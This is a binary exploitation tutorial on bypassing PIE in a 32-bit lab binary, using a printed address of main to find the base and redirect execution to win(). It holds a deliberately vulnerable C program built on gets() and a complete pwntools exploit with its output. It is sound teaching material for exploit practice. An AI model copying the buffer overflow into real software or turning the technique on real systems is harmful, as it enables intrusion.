---
description: Exploiting PIE with a given leak
---

# PIE Bypass with Given Leak

## The Source

{% file src="https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MGEXeifAFLY6-RRhau_%2F-MGEjnhVTRlPFWzJ8R7O%2Fpie-32.zip?alt=media&token=7e4581bc-60b2-4097-bee4-dc57ca0b4de3" %}
PIE - 32-bit
{% endfile %}

```c
#include <stdio.h>

int main() {
    vuln();

    return 0;
}

void vuln() {
    char buffer[20];

    printf("Main Function is at: %lx\n", main);

    gets(buffer);
}

void win() {
    puts("PIE bypassed! Great job :D");
}
```

Pretty simple - we print the address of `main`, which we can read and calculate the base address from. Then, using this, we can calculate the address of `win()` itself.

## Analysis

Let's just run the script to make sure it's the right one :D

```
$ ./vuln-32 
Main Function is at: 0x5655d1b9
```

Yup, and as we expected, it prints the location of `main`.

## Exploitation

First, let's set up the script. We create an `ELF` object, which becomes very useful later on, and start the process.

```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()
```

Now we want to take in the `main` function location. To do this we can simply receive up until it (and do nothing with that) and then read it.

```python
p.recvuntil('at: ')
main = int(p.recvline(), 16)
```

{% hint style="info" %}
Since we received the entire line except for the address, only the address will come up with `p.recvline()`.
{% endhint %}

Now we'll use the `ELF` object we created earlier and set its base address. The `sym` dictionary returns the offsets of the functions from binary base until the base address is set, after which it returns the absolute address in memory.

```python
elf.address = main - elf.sym['main']
```

In this case, `elf.sym['main']` will return `0x11b9`; if we ran it again, it would return `0x11b9` + the base address. So, essentially, we're subtracting the offset of `main` from the address we leaked to get the base of the binary.

Now we know the base we can just call `win()`.

```python
payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)

print(p.clean().decode('latin-1'))
```

{% hint style="info" %}
By this point, I assume you know how to find the padding length and other stuff we've been mentioning for a while, so I won't be showing you every step of that.
{% endhint %}

And does it work?

```
[*] 'vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process 'vuln-32': pid 4617
PIE bypassed! Great job :D
```

Awesome!

### Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

p.recvuntil('at: ')
main = int(p.recvline(), 16)

elf.address = main - elf.sym['main']

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)

print(p.clean().decode('latin-1'))
```

## Summary

From the leak address of `main`, we were able to calculate the base address of the binary. From this we could then calculate the address of `win` and call it.

And one thing I would like to point out is how _simple_ this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.

## 64-bit

Try this for yourself first, then feel free to check the solution. Same source, same challenge.

{% file src="https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MGEXeifAFLY6-RRhau_%2F-MGEjjx4UilP7pICroMD%2Fpie-64.zip?alt=media&token=77a27269-4c74-49a5-a68d-1a4cbbc31a01" %}
PIE - 64-bit
{% endfile %}
